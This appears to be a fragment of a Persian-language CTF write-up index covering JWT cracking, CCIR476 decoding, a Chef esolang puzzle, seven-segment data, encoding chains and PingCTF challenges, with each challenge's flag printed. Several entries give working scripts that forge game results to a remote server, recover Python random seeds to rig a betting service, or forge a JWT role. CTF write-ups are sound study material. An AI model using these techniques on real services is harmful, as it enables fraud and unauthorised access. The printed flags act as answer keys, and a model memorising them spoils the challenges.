\u067e\u0633\u0648\u0631\u062f \u06a9\u0631\u06a9 \u0645\u06cc\u0634\u0647 minato

{\n    \"username\": \"Naruto\",\n    \"role\": \"NineTails\"\n}\n
\u0628\u0639\u062f \u0627\u06cc\u0646 \u062c\u06cc\u0633\u0648\u0646 \u0631\u0648 \u0628\u0627 \u06a9\u062f jwt \u0633\u0627\u06cc\u0646 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0645\u06cc\u0641\u0631\u0633\u062a\u06cc\u0645 \u0633\u0645\u062a \u0633\u0631\u0648\u0631

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BackdoorCTF","BackdoorCTF-2023","Begineer","JWT","Crack"]},{"location":"misc/writeups/DUCTF/intercept/","title":"\u0686\u0627\u0644\u0634 Intercepted Transmissions","text":"

\u0641\u0627\u06cc\u0644 \u062a\u06a9\u0633\u062a \u0636\u0645\u06cc\u0645\u0647\u200c\u0634\u062f\u0647 \u0628\u0647 \u0686\u0627\u0644\u0634 \u0634\u0627\u0645\u0644 \u06cc\u06a9\u0633\u0631\u06cc \u0635\u0641\u0631 \u0648 \u06cc\u06a9 \u0645\u062a\u0648\u0627\u0644\u06cc \u0647\u0633\u062a. \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u062a\u0648\u0636\u06cc\u062d \u0633\u0648\u0627\u0644\u060c \u0647\u06cc\u0646\u062a\u06cc \u06a9\u0647 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0647 \u0627\u06cc\u0646\u0647 \u06a9\u0647 \u0627\u06cc\u0646 \u0631\u0634\u062a\u0647 \u0627\u062d\u062a\u0645\u0627\u0644\u0627 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0631\u0648\u0634 CCIR476 \u06a9\u0647 \u06cc\u06a9 \u0627\u0646\u06a9\u062f\u06cc\u0646\u06af \u0642\u062f\u06cc\u0645\u06cc \u0628\u0631\u0627\u06cc \u0627\u0646\u062a\u0642\u0627\u0644 \u062f\u0627\u062f\u0647\u200c\u0647\u0627 \u062f\u0631 \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a \u0631\u0627\u062f\u06cc\u0648\u06cc\u06cc \u0628\u0627 \u0642\u0627\u0628\u0644\u06cc\u062a \u062a\u0634\u062e\u06cc\u0635 \u0648 \u0627\u0635\u0644\u0627\u062d \u062e\u0637\u0627\u0647\u0627\u06cc \u06cc\u06a9 \u0628\u06cc\u062a\u06cc \u0647\u0633\u062a \u06a9\u062f \u0634\u062f\u0647. \u0628\u0631\u0627\u06cc \u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u06cc\u0634\u062a\u0631 \u0628\u0627 \u0627\u06cc\u0646 \u0631\u0648\u0634 \u06a9\u062f \u06a9\u0631\u062f\u0646 \u0648 \u0686\u06af\u0648\u0646\u06af\u06cc \u0646\u0648\u0634\u062a\u0646 \u06a9\u062f \u0627\u0646\u06a9\u0648\u062f\u0631 \u0648 \u062f\u06cc\u06a9\u0648\u062f\u0631\u060c \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u0646 \u0627\u0632 \u0644\u06cc\u0646\u06a9 \u06f1 \u0648 \u0644\u06cc\u0646\u06a9 \u06f2 \u0648 \u0644\u06cc\u0646\u06a9 \u06f3 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f.

\u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0645\u06cc\u200c\u0646\u0648\u06cc\u0633\u06cc\u0645 \u06a9\u0647 \u0637\u0628\u0642 \u0627\u0648\u0646 \u0644\u06cc\u0646\u06a9\u200c\u0647\u0627\u06cc \u0645\u0631\u062c\u0639 \u0647\u0646\u062f\u0644 \u06a9\u0646\u0647 \u062f\u06cc\u06a9\u0648\u062f \u06a9\u0631\u062f\u0646 \u0627\u06cc\u0646 \u0631\u0634\u062a\u0647 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0631\u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u0628\u0644\u0627\u06a9\u200c\u0647\u0627\u06cc \u06f5 \u0628\u06cc\u062a\u06cc.

class CCIR476:\n    def __init__(self):\n        self.CCIR_MODE = 1  # Default to letter mode\n        self.OLD_MODE = 1\n\n    def decode(self, CCIR):\n        if CCIR == 0x78: return '\\r'  # CR\n        if CCIR == 0x6C: return '\\n'  # LF\n        if CCIR == 0x5C: return ' '   # SP\n        if CCIR == 0x0F: return ''    # ALPHA\n        if CCIR == 0x33: return ''    # BETA\n        if CCIR == 0x66: return ''    # REP\n        if CCIR == 0x5A:\n            self.CCIR_MODE = 1\n            return ''\n        if CCIR == 0x36:\n            self.CCIR_MODE = 0\n            return ''\n\n        if self.CCIR_MODE == 1:\n            return self.decode_letter_mode(CCIR)\n        else:\n            return self.decode_figure_mode(CCIR)\n\n    def decode_letter_mode(self, CCIR):\n        letter_mode_mapping = {\n            0x47: 'A', 0x72: 'B', 0x1D: 'C', 0x53: 'D', 0x56: 'E', 0x1B: 'F', 0x35: 'G', 0x69: 'H',\n            0x4D: 'I', 0x17: 'J', 0x1E: 'K', 0x65: 'L', 0x39: 'M', 0x59: 'N', 0x71: 'O', 0x2D: 'P',\n            0x2E: 'Q', 0x55: 'R', 0x4B: 'S', 0x74: 'T', 0x4E: 'U', 0x3C: 'V', 0x27: 'W', 0x3A: 'X',\n            0x2B: 'Y', 0x63: 'Z'\n        }\n        return letter_mode_mapping.get(CCIR, '')\n\n    def decode_figure_mode(self, CCIR):\n        figure_mode_mapping = {\n            0x2D: '0', 0x2E: '1', 0x27: '2', 0x56: '3', 0x55: '4', 0x74: '5', 0x2B: '6', 0x4E: '7',\n            0x4D: '8', 0x71: '9', 0x4B: \"'\", 0x1B: '!', 0x1D: ':', 0x1E: '(', 0x35: '&', 0x39: '.',\n            0x3A: '/', 0x3C: '=', 0x47: '-', 0x53: '$', 0x59: ',', 0x63: '+', 0x65: ')', 0x69: '#',\n            0x72: '?'\n        }\n        return figure_mode_mapping.get(CCIR, '')\n\ndef ccir476_decode(binary_string):\n    n = 7\n    segments = [int(binary_string[i:i+n], 2) for i in range(0, len(binary_string), n)]\n\n    decoder = CCIR476()\n    decoded_message = ''.join([decoder.decode(segment) for segment in segments])\n\n    return decoded_message\n\nbinary_string = \"101101001101101101001110100110110101110100110100101101101010110101110010110100101110100111001101100101101101101000111100011110011011010101011001011101101010010111011100100011110101010110110101011010111001011010110100101101101010110101101011001011010011101110001101100101110101101010110011011100001101101101101010101101101000111010110110010111010110101100101100110111101000101011101110001101101101001010111001011101110001010111001011100011011\"\ndecoded_message = ccir476_decode(binary_string)\nprint(decoded_message)\n

\u0641\u0644\u06af \u0632\u06cc\u0631 \u067e\u0633 \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0628\u0647 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0645\u06cc\u200c\u0622\u06cc\u062f.

FLAG

DUCTF{##TH3 QU0KK4'S AR3 H3LD 1N F4C1LITY #11911!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

Sadegh

","tags":["DownUnderCTF","DownUnderCTF-2024","Misc"]},{"location":"misc/writeups/DUCTF/recipe/","title":"\u0686\u0627\u0644\u0634 Wacky Recipe","text":"

\u0641\u0627\u06cc\u0644 \u062a\u06a9\u0633\u062a \u0636\u0645\u06cc\u0645\u0647\u200c\u0634\u062f\u0647 \u0628\u0647 \u0686\u0627\u0644\u0634 \u06cc\u06a9 \u0645\u062a\u0646 \u0628\u0627 \u0641\u0631\u0645\u062a \u06cc\u06a9 \u062f\u0633\u062a\u0648\u0631 \u0622\u0645\u0627\u062f\u0647 \u06a9\u0631\u062f\u0646 \u063a\u0630\u0627 \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u0627\u062f \u062f\u0631 \u0646\u06af\u0627\u0647 \u0627\u0648\u0644. \u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0646\u0634\u062f \u06cc\u06a9 \u0627\u0644\u06af\u0648\u06cc \u0645\u0646\u0627\u0633\u0628 \u0627\u0632 \u062f\u0627\u062e\u0644 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0648\u0631 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645\u060c \u0633\u0631\u0627\u063a \u0633\u0631\u0686 \u062a\u0648\u06cc \u06af\u0648\u06af\u0644 \u0645\u06cc\u0631\u06cc\u0645.

Chicken Parmi.\n\nOur Cyber Chef has been creating some wacky recipes recently, though he has been rather protective of his secret ingredients.\nUse this Chicken Parmi recipe and decipher the missing values to discover the chef's secret ingredient!\nThis recipe produces the flag in flag format.\n\nIngredients.\n27 dashes pain\n21 cups effort\n1 cup water\n4 kg bread crumbs\n26 ml hot canola oil\n13 kg egg yolks\n24 teaspoons all purpose spices\n7 teaspoons herbs\n26 kg flour\n26 kg sliced chicken breasts\n1 dashes salt\n11 dashes pepper\n7 dashes pride and joy\n10 kg tomato sauce\n14 g cheese\n13 kg ham\n2 g pasta sauce\n6 dashes chilli flakes\n5 kg onion\n9 dashes basil\n19 dashes oregano\n10 dashes parsley\n20 teaspoons sugar\n\nCooking time: 25 minutes.\n\nPre-heat oven to 180 degrees Celsius.\n\nMethod.\nPut water into 1st mixing bowl.\nAdd water to 1st mixing bowl.\nAdd water to 1st mixing bowl.\nAdd water to 1st mixing bowl.\nCombine pain into 1st mixing bowl.\nRemove bread crumbs from 1st mixing bowl.\nAdd effort to 1st mixing bowl.\nPut water into 1st mixing bowl.\nAdd water to 1st mixing bowl.\nCombine pain into 1st mixing bowl.\n.\n.\n.\n

\u0628\u0639\u062f \u0627\u0632 \u06a9\u0645\u06cc \u0633\u0631\u0686 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u200c\u0634\u06cc\u0645 \u06a9\u0647 Chef \u06cc\u06a9 \u0632\u0628\u0627\u0646 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc esoteric \u0647\u0633\u062a \u06a9\u0647 \u0628\u0627 \u0648\u062c\u0648\u062f \u0627\u06cc\u0646 \u0634\u06a9\u0644 \u0639\u062c\u06cc\u0628 \u063a\u0631\u06cc\u0628\u0634 \u062d\u062a\u06cc \u062a\u0648\u0631\u06cc\u0646\u06af-\u06a9\u0627\u0645\u067e\u0644\u062a \u0647\u0645 \u0647\u0633\u062a \u0648 \u0627\u0633\u0627\u0633 \u06a9\u0627\u0631\u0634 \u062f\u0627\u062f\u0647\u200c\u0633\u0627\u062e\u062a\u0627\u0631 \u0627\u0633\u062a\u06a9 \u0647\u0633\u062a. \u0645\u06cc\u062a\u0648\u0646\u06cc\u062f \u0628\u0631\u0627\u06cc \u0645\u0637\u0627\u0644\u0639\u0647 \u0628\u06cc\u0634\u062a\u0631 \u0628\u0647 \u0627\u06cc\u0646 \u0644\u06cc\u0646\u06a9 \u0645\u0631\u0627\u062c\u0639\u0647 \u06a9\u0646\u06cc\u062f. \u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0628\u062a\u0648\u0646\u06cc\u0645 \u0631\u0627\u0646\u0634 \u06a9\u0646\u06cc\u0645 \u0628\u0627\u06cc\u062f \u062f\u0648 \u0645\u0642\u062f\u0627\u0631 pain \u0648 effort \u0631\u0648 \u0628\u0647 \u062c\u0627\u06cc \u0639\u0644\u0627\u0645\u062a \u0633\u0648\u0627\u0644 \u0628\u0627 \u0645\u0642\u062f\u0627\u0631 \u0639\u062f\u062f\u06cc \u062f\u0631\u0633\u062a \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06a9\u0646\u06cc\u0645. \u0645\u06cc\u0634\u0647 \u0628\u0631\u0648\u062a\u200c\u0641\u0648\u0631\u0633 \u06a9\u0631\u062f \u0627\u0645\u0627 \u06a9\u0627\u0631 \u0647\u0648\u0634\u0645\u0646\u062f\u0627\u0646\u0647\u200c\u062a\u0631 \u0627\u06cc\u0646\u0647 \u06a9\u0647 \u0686\u0648\u0646 \u0628\u0631 \u0627\u0633\u0627\u0633 \u0627\u0633\u062a\u06a9 \u0647\u0633\u062a \u0648 \u0639\u0645\u0644\u06cc\u0627\u062a\u200c\u0647\u0627\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647\u200c\u0634\u062f\u0647 \u0631\u0648\u06cc \u0645\u062a\u063a\u06cc\u0631\u200c\u0647\u0627 \u0647\u0645 \u0647\u0645\u0634\u0648\u0646 \u062e\u0637\u06cc \u0647\u0633\u062a\u0646\u062f \u0648 \u0645\u0627 \u062f\u0648 \u062d\u0631\u0641 \u0627\u0648\u0644 \u0641\u0644\u06af \u06cc\u0639\u0646\u06cc D \u0648 U \u0631\u0648 \u0645\u06cc\u200c\u062f\u0648\u0646\u06cc\u0645\u060c \u06cc\u06a9 \u062f\u0648 \u0645\u0639\u0627\u062f\u0644\u0647 \u0648 \u062f\u0648 \u0645\u062c\u0647\u0648\u0644 \u062a\u0634\u06a9\u06cc\u0644 \u0628\u062f\u06cc\u0645 \u0648 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0645\u0646\u0627\u0633\u0628 \u0645\u062c\u0647\u0648\u0644\u0627\u062a \u0631\u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0628\u0647 \u062a\u0631\u062a\u06cc\u0628 pain \u0645\u0642\u062f\u0627\u0631 \u06f2\u06f7 \u0648 effort \u0645\u0642\u062f\u0627\u0631 \u06f2\u06f1 \u062f\u0627\u0631\u0647. \u0646\u0647\u0627\u06cc\u062a\u0627 \u0628\u0639\u062f \u0627\u0632 \u062c\u0627\u06cc\u06af\u0630\u0627\u0631\u06cc \u0627\u06cc\u0646 \u0645\u0642\u0627\u062f\u06cc\u0631 \u062f\u0631 \u06a9\u062f \u0627\u0635\u0644\u06cc \u0648 \u0631\u0627\u0646 \u06a9\u0631\u062f\u0646\u0634 \u0628\u0647 \u0635\u0648\u0631\u062a \u0622\u0646\u0644\u0627\u06cc\u0646 \u062d\u0631\u0648\u0641 \u0641\u0644\u06af \u0642\u0627\u0628\u0644 \u0645\u0634\u0627\u0647\u062f\u0647 \u0627\u0633\u062a.

FLAG

DUCTF{2tsp_Vegemite}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

Sadegh

","tags":["DownUnderCTF","DownUnderCTF-2024","Misc"]},{"location":"misc/writeups/OSCTF/captured_data/","title":"\u0686\u0627\u0644\u0634 Captured Data","text":"

\u0641\u0627\u06cc\u0644 \u0627\u06a9\u0633\u0644 \u0636\u0645\u06cc\u0645\u0647 \u0686\u0644\u0646\u062c \u0631\u0648 \u06a9\u0647 \u0628\u0627\u0632 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645\u060c \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u062f\u0631 \u0633\u062a\u0648\u0646 \u0627\u0648\u0644 \u06cc\u06a9\u0633\u0631\u06cc \u0632\u0645\u0627\u0646 \u0645\u062a\u0648\u0627\u0644\u06cc\u060c \u062f\u0631 \u0633\u062a\u0648\u0646 \u062f\u0648\u0645 \u062d\u0631\u0648\u0641 a, b, c, d, e, f \u062f\u0631 \u06af\u0631\u0648\u0647\u200c\u0647\u0627\u06cc \u062f\u0648\u062a\u0627\u06cc\u06cc \u0648 \u0634\u0634\u200c\u062a\u0627\u06cc\u06cc \u0648 \u062f\u0631 \u0633\u062a\u0648\u0646 \u0633\u0648\u0645 \u062f\u0631 \u0628\u0631\u062e\u06cc \u0627\u0632 \u0633\u0637\u0631\u200c\u0647\u0627 DP \u0646\u0648\u0634\u062a\u0647 \u0634\u062f\u0647. \u062f\u0631 \u0646\u06af\u0627\u0647 \u0627\u0648\u0644 \u0634\u0627\u06cc\u062f \u0686\u06cc\u0632 \u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0647 \u0686\u0634\u0645 \u0646\u06cc\u0627\u062f.

\u0628\u0627 \u0633\u0631\u0686 \u06a9\u0631\u062f\u0646 abcdef DP \u062f\u0631 \u06af\u0648\u06af\u0644 \u0645\u06cc\u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u0627\u06cc\u0646\u200c\u0647\u0627 \u062f\u0631 \u0648\u0627\u0642\u0639 pinout \u0647\u0627\u06cc \u06cc\u06a9 \u0645\u062f\u0627\u0631 7segment \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 \u0647\u0645\u0648\u0646 \u0645\u062f\u0627\u0631 \u0646\u0645\u0627\u06cc\u0634 \u0627\u0631\u0642\u0627\u0645 \u062f\u0647\u062f\u0647\u06cc \u062f\u06cc\u062c\u06cc\u062a\u0627\u0644 \u0647\u0633\u062a\u0646\u062f \u0648 \u062f\u0631 \u0648\u0627\u0642\u0639 \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u0647\u0631 pin \u0645\u0633\u0626\u0648\u0644 \u0631\u0648\u0634\u0646\u200c\u06a9\u0631\u062f\u0646 \u06a9\u062f\u0627\u0645 \u0628\u062e\u0634 \u0647\u0633\u062a \u0645\u06cc\u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u062a\u0648\u0627\u0644\u06cc abcdef \u0639\u062f\u062f 0 \u0648 \u062a\u0648\u0627\u0644\u06cc bc \u0639\u062f\u062f \u06f1 \u0648 DP \u06cc\u06a9 \u0646\u0642\u0637\u0647 \u0631\u0627 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f.

\u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0645\u06cc\u200c\u0646\u0648\u06cc\u0633\u06cc\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u0627\u06a9\u0633\u0644 \u0631\u0627 \u0628\u0647 \u06cc\u06a9\u0633\u0631\u06cc \u0635\u0641\u0631 \u0648 \u06cc\u06a9 \u0645\u062a\u0648\u0627\u0644\u06cc \u062a\u0628\u062f\u06cc\u0644 \u06a9\u0646\u062f. \u0633\u067e\u0633 \u0628\u0627 \u0628\u0631\u0631\u0633\u06cc \u06f8 \u0628\u06cc\u062a \u0627\u0648\u0644 \u0648 \u06f8 \u0628\u06cc\u062a \u062f\u0648\u0645 \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u062f\u0631 \u0648\u0627\u0642\u0639 \u0647\u0631 \u06f8 \u0628\u06cc\u062a \u06a9\u062f \u0627\u0633\u06a9\u06cc \u06cc\u06a9 \u062d\u0631\u0641 \u0627\u0632 \u0641\u0644\u06af \u0631\u0627 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0628\u0639\u062f \u0627\u0632 \u062a\u062c\u0632\u06cc\u0647 \u06f8 \u0628\u06cc\u062a\u06cc \u0648 \u062a\u0628\u062f\u06cc\u0644 \u0628\u0647 \u062d\u0631\u0648\u0641 \u0627\u0633\u06a9\u06cc\u060c \u0628\u0647 \u0641\u0644\u06af \u0646\u0647\u0627\u06cc\u06cc \u0645\u06cc\u200c\u0631\u0633\u06cc\u0645.

import pandas as pd\n\ndf = pd.read_excel('output.xlsx', header=None)\n\nresult = []\n\nfor i in range(len(df)):\n    if df.iloc[i, 2] == 'DP':\n        if df.iloc[i-3, 2] == 'DP':\n            start = max(0, i - 2)\n        else:\n            start = max(0, i - 6)\n        sequence = ''.join(df.iloc[start:i, 1].dropna().tolist())\n        print(sequence)\n\n        if sequence == 'abcdef':\n            result.append('0')\n        elif sequence == 'bc':\n            result.append('1')\n\nbinary_string = ''.join(result)\nascii_text = ''.join(chr(int(binary_string[i:i+8], 2)) for i in range(0, len(binary_string), 8))\n\nprint(\"Flag:\", ascii_text)\n

\u0641\u0644\u06af \u0632\u06cc\u0631 \u067e\u0633 \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0628\u0647 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0645\u06cc\u200c\u0622\u06cc\u062f.

FLAG

OSCTF{1nf0_d1spl4c3d}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

Sadegh

","tags":["OSCTF","OSCTF-2024","Misc"]},{"location":"misc/writeups/PingCTF/internet-cat/","title":"Internet cat","text":"

Challenge :

aHR0cHM6Ly9naXN0LmdpdGh1YnVzZXJjb250ZW50LmNvbS90b21lazc2NjcvOTIzOTNhNTkyMDdkOTEzNzlmOWVlODc4NTg3OGI5OGIvcmF3LzNiNTM1NzJjMzQ0NTY0ZjMyMTE5NjA5MmMzMzg2M2EzODVjMTM2M2QvZ2lzdGZpbGUxLnR4dA==\n

Solve :

base64 in binary file -> gist file -> revisions -> octal (\\n) -> base64 -> hex -> base58 -> png -> qr code -> privatebin -> base64 -> zip -> password crack (billabong) -> extract with 7z\n

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["PingCTF","PingCTF-2023","Misc"]},{"location":"misc/writeups/PingCTF/ping-arcade/","title":"Ping arcade","text":"

\u0622\u0631\u0634\u06cc\u0648 \u0686\u0644\u0646\u062c

\u0628\u0627 \u0631\u06cc\u0648\u0631\u0633 \u0647\u0627\u06cc \u0641\u0631\u0627\u0648\u0648\u0646 \u0645\u06cc\u0631\u0633\u06cc\u0645 \u0628\u0647 \u06cc\u0647 \u0646\u0648\u0639 \u0633\u0627\u062e\u062a \u0631\u0646\u062f\u0648\u0645 \u06a9\u0647 \u062e\u0648\u0634\u0628\u062e\u062a\u0627\u0646\u0647 \u067e\u0631\u0648\u0698\u0647 \u067e\u0627\u06cc\u062a\u0648\u0646 \u0647\u0645 \u062f\u0627\u0631\u0646 \u062a\u0648 \u0627\u06cc\u0646 \u0644\u06cc\u0646\u06a9

https://github.com/mobaradev/UnifiedRandom

import random\nimport requests\nimport UnifiedRandom\n\nheaders = {\n    \"User-Agent\": \"UnityPlayer/2022.3.12f1 (UnityWebRequest/1.0, libcurl/8.1.1-DEV)\",\n    \"X-Unity-Version\": \"2022.3.12f1\",\n}\ncode = requests.get(\n    \"https://ping-arcade.knping.pl/start-game\", headers=headers\n).json()[\"accessCode\"]\nt = []\nrand = UnifiedRandom(code)\nrandb = UnifiedRandom(code)\nrandc = UnifiedRandom(code)\nfor i in range(64):\n    pulse = rand.get_number(0, 25) / 100.0\n    rate = randb.get_number(8, 25) / 100.0\n    block_index = randc.get_number(0, 5)\n    t.append(rate * block_index + pulse)\n\ntimes = \"-\".join(list(map(str, t)))\nprint(\n    requests.post(\n        \"https://ping-arcade.knping.pl/verify-game\",\n        headers=headers,\n        # proxies=proxies,\n        data={\n            \"accessCode\": code,\n            \"times\": times,\n            \"controlNumber\": randc.get_number(0, randc.get_number(0, 10000)) * 1.25 * 64,\n        },\n    ).json()\n)\n

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["PingCTF","PingCTF-2023","Misc","Game_Hacking","Random"]},{"location":"misc/writeups/PingCTF/wow/","title":"Wow","text":"

\u0622\u0631\u0634\u06cc\u0648 \u0686\u0644\u0646\u062c

\u0628\u0647 \u0645\u062d\u0636 \u0648\u0635\u0644 \u0634\u062f\u0646 \u0628\u0647 \u0633\u0631\u0648\u0631 \u06cc\u0647 \u062a\u0639\u062f\u0627\u062f \u0631\u0646\u062f\u0648\u0645 \u0628\u0647 \u0633\u0645\u062a \u0645\u0627 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u0634\u0647 \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0627 \u0627\u0648\u0646 \u0631\u0646\u062f\u0648\u0645 \u0647\u0627 \u0633\u06cc\u062f \u0631\u0648 \u062a\u0634\u062e\u06cc\u0635 \u0628\u062f\u06cc\u0645 \u0648 \u0627\u062f\u0627\u0645\u0647 \u0645\u0627\u062c\u0631\u0627 =))

from pwn import *\nimport random\n\na = remote(\"57.128.196.218\", 20001)\n\na.sendline(b'y')\na.recvuntil(b'user_balance=')\ndef get_randoms(n: int):\n    randoms = []\n    while len(randoms) < n:\n        a.sendline(b'1')\n        for line in a.recvuntil(b'user_balance=').decode().split('\\n'):\n            if 'rolls' in line:\n                randoms.append(line.split('rolls ')[1])\n        randoms.append('END')\n    return randoms\n\nfirst = 100\nrands = get_randoms(30)\ncorrect = 0\nfor i in range(10_000_001):\n    random.seed(i)\n    for j in rands:\n        if j == 'END':\n            first = 100\n        elif int(j) == random.randint(1, first):\n            correct += 1\n            first = int(j)\n        else:\n            correct = 0\n    if correct > 10:\n        break\n\ndef i_will_win(number = 100, user = 'Safa'):\n    if user == 'Safa':\n        user = 'opponent'\n    else:\n        user = 'Safa'\n    a = random.randint(1, number)\n    if a == 1:\n        return False if user == 'Safa' else True\n    return i_will_win(a, user)\n\nbalance = int(a.recvline().decode())\nwhile balance < 10_000_000:\n    opponent_balance = 10_000_000 + 50 - balance\n    if i_will_win():\n        print(balance)\n        a.sendline(str(min(balance, opponent_balance)).encode())\n        balance *= 2\n    else:\n        a.sendline(b'1')\n        balance -= 1\n\nprint(a.clean(2))\n

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["PingCTF","PingCTF-2023","Misc","Random"]},{"location":"misc/writeups/PingCTF/you-spin-me-round/","title":"You spin me round","text":"

\u0622\u0631\u0634\u06cc\u0648 \u0686\u0644\u0646\u062c

\u0627\u06cc\u0646\u0645 \u0645\u062b\u0644 \u0642\u0628\u0644\u06cc\u060c \u06cc\u0647 \u062a\u0639\u062f\u0627\u062f beep \u0648 boop \u062f\u0631\u06cc\u0627\u0641\u062a \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0633\u06cc\u062f \u0631\u0648 \u062a\u0634\u062e\u06cc\u0635 \u0628\u062f\u06cc\u0645

from pwn import *\n\np = remote(\"57.128.196.218\", 20000)\n\np.recvuntil(b\"\\n\\n\")\ns = p.recvline().decode()\na, b = s.count(\"BEEP\"), s.count(\"BOOP\")\np.recvuntil(b\"Task\")\np.recvuntil(b\": \")\ns = p.recvline().decode().strip()\nsplit = s.split(' ')\nfor i in range(1_000_000):\n    random.seed(i)\n    if random.randint(1, 100) == int(a):\n        if random.randint(1, 100) == int(b):\n            if random.randint(100, 10000) == int(split[0]):\n                if int(split[0]) // random.randint(1, 100) == int(split[4]):\n                    p.sendline(str(int(split[0]) // int(split[4])).encode())\n                    break\n\ndef task1():\n    random.randint(100, 10000)\n    return str(random.randint(1, 100)).encode()\n\ndef task2():\n    random.randint(100000, 1000000000)\n    return str(random.randint(1, 100000) / 100).encode()\n\ndef task3():\n    x = random.randint(100000, 1000000000) / 100\n    y = random.randint(1, 100000) / 100\n    p1, p2 = str(x % y).split('.')\n    ans = f\"{p1}{p2[0]}.{p2[1:]}e-1\"\n    return ans.encode()\n\ntask = 1\np.sendline(task2())\np.sendline(task3())\nfor i in range(996):\n    print(i, end='\\r')\n    t = random.randint(1, 3)\n    p.sendline(eval(f\"task{t}()\"))\n\nprint(p.clean(2))\n

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["PingCTF","PingCTF-2023","Misc","Random"]},{"location":"misc/writeups/SnappCTF/SnappOsint/","title":"\u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc Osint","text":"","tags":["SnappCTF","SnappCTF-2024","OSINT"]},{"location":"misc/writeups/SnappCTF/SnappOsint/#snapp-saving","title":"\u0686\u0627\u0644\u0634 SNAPP Saving","text":"

\u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u06cc\u06a9\u06cc \u0627\u0632 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u062f\u0633\u062a\u0647 OSINT \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0647 SNAPP CTF 2024 \u0648 \u0628\u0627 \u0633\u0637\u062d \u062f\u0634\u0648\u0627\u0631\u06cc \u0633\u0627\u062f\u0647 \u0628\u0648\u062f. \u0647\u062f\u0641 \u0627\u0632 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u06cc\u06a9\u06cc \u0627\u0632 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u0627\u0631\u0627\u0626\u0647 \u0634\u062f\u0647 \u062a\u0648\u0633\u0637 \u0627\u0633\u0646\u067e \u0647\u0633\u062a \u06a9\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0648\u0646 \u0645\u06cc\u200c\u062a\u0648\u0646\u0646\u062f \u062a\u0627 250 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646 \u0631\u0648 \u062f\u0631 \u0645\u0627\u0647 \u0630\u062e\u06cc\u0631\u0647 \u06a9\u0646\u0646\u062f.

Info

